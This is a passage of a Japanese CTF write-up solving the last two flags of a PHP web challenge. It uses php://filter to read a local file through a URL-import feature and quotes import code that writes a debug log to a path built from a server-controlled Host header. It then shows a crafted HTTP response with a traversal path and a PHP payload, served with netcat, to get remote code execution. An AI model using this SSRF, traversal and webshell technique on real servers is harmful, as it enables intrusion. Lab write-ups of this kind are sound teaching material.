(というのを当日に聞いていたのでここでは別解を書きます。)
ソースを見ると(以下の方法と同様にして入手できるはずです)、file_get_contentsでリモートorローカルのリソースを読み込む仕組みになっています。
この関数は php://filter/
でおなじみのフィルタが利用できるのでそれで読み込むことも可能です。
つまり、URLとして php://filter/resource=/var/www/flag3.txt
を指定します。
できたページを見て終わりです。
flag: FLAG{3xpLo1TInG_S3rV3r-S1D3_r3Qu3St_f0RG3rY}
flag4.txt
いよいよ最後の問題です。
(自分にはここからが長かった…ctf4b運営のもりたこ先生にヒントを乞うて、利用する脆弱性のヒントをもらったぞい)
ファイル名が分からない状態ではフィルタが使えないっぽいので、ファイルに書き込んでくれる系を脆弱性として使うのでしょう。
もりたこヒントによると、post/import.php
にディレクトリトラバーサル脆弱性があり、リモートで任意コード実行(RCE)可能らしいです。
ということで、デバッグ出力している次の箇所に目を付けました。
function parseHeaders($headers) { $head = array(); foreach($headers as $k=>$v) { $t = explode( ':', $v, 2 ); if (isset($t[1])) $head[ trim($t[0]) ] = trim( $t[1] ); else { $head[] = $v; if (preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out )) $head['reponse_code'] = intval($out[1]); } } return $head; } // $data = file_get_contents($url); $headers = parseHeaders($http_response_header); if (isset($headers['Host'])) { $host = $headers['Host']; } else { $host = parse_url($url, PHP_URL_HOST); } $title = "Imported data from $host"; addPost($title, $data, (int)(empty($_POST['secret']))); $_SESSION['create_ok'] = true; // DEBUG $debug_log = "url: $url\n"; $debug_log .= "status: success\n"; $debug_log .= "content: $data\n"; file_put_contents(sprintf('/tmp/mars_debug_log_%d_%s', time(), $host), $debug_log);
sprintf
でファイル名を作っていますが、%s
でディレクトリトラバーサル自明ですね。
%s
は $host
で変えられるようです。後で確認します。
書き込み内容は $debug_log
で決まり、$data
に僕のコードを仕込めば実行してくれそうです。
さて $host
は何に由来するのかというと、少し上の $headers['Host']
で、 parseHeaders
でHTTPレスポンスヘッダにあったHostフィールド(公式仕様には無いやつですね…。気づくヒントだったのかな…?)の値が $host
に来るみたいです。
netcatで簡単なHTTPサーバーでも立てておきますかね。 ということで、netcatで応答すべき内容はこんな感じになります。 phpタグに囲まれていないところにゴミが入っていても問題ありません。phpの性質をよく利用した賢い問題っすね。
HTTP/1.1 200 OK Host: /../../var/www/html/evil.php Content-Length: 50 <?php print_r(scandir('/var/www/flag4')); ?> # nc -l -p 8080 < http_response
あとはnetcatで待ち受けて、リクエストが来てこちらが応答したら Ctrl+C
でCloseしちゃいます(笑)
# もっといい方法ないすかねー?
投稿画面ではURLに http://192.168.39.39:8080/
を指定しました。
pi@d55f1549b655:~ $ nc -l -p 8080 < http_response GET / HTTP/1.0 Host: 192.168.39.39:8080 Connection: close ^C
ファイル名が分かったので、先の問題と同様にして中身を暴露します。
flag: FLAG{W0w_u_pwn3d_Mars!}
難易度設定はキャンプのCTFにはいい感じですね。
手元にRasPiが無いのでCTF運営公式のイメージファイルから必要なファイルを取り出して、適当にDockerizeしました。
さっき運営の一人のもりたこちゃんに披露したので、そのうち公開されるかもしれません。